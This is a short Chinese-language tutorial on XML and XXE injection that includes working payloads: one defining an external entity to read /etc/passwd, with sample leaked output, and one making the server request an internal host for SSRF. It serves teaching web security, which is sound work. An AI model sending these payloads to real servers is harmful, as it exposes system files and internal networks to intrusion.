當網站處理包含對外部實體的參考的XML
資料時,攻擊者可以利用此漏洞閱讀伺服器上的本地文件、與網站可以訪問的任何後端或外部系統,或執行拒絕服務攻擊。
可延伸標記式語言(Extensible Markup Language,簡稱:XML)是一種標記式語言,主要用途是在於說明資料是什麼以及攜帶資料資訊。
XML 所擁有的功用不只是傳遞資料,還可以將資料包含在 XML 文件中,然後利用延伸樣式表語言 (XSL) 所寫成的網頁來將 XML 文件中的資料展現於瀏覽器中。
<?xml version="1.0" encoding="UTF-8"?>
<bookstore>
<book id="1">
<title>XML</title>
<author>John Doe</author>
<price>19.95</price>
</book>
<book id="2">
<title>Advanced XML</title>
<author>Jane Smith</author>
<price>29.95</price>
</book>
</bookstore>
透過XXE(XML外部實體)注入攻擊,攻擊者可以從伺服器的檔案系統中檢索任意檔案。
要執行此攻擊,您需要進行以下操作:
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>
如果此應用程式沒有針對XXE攻擊進行特定的防護,您可以提交以下XXE有效載荷來檢索/etc/passwd
檔案:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
這個XXE定義了一個外部實體&xxe;
,其值是/etc/passwd
檔案的內容,並在productId
值中使用此實體。這導致網站的回應包含該檔案的內容,例如:
Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
要利用XXE漏洞執行SSRF攻擊,需要使用目標的URL來定義一個外部XML實體,並在資料值中使用定義的實體。如果可以在網站回應中的資料值中使用定義的實體,那麼就將能夠在網站的回應中查看來自URL的回應,從而與後端進行溝通。如果不是,那就只能執行盲目的SSRF攻擊。
這是一個XXE導致伺服器發出後端HTTP請求訪問內部系統的範例:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>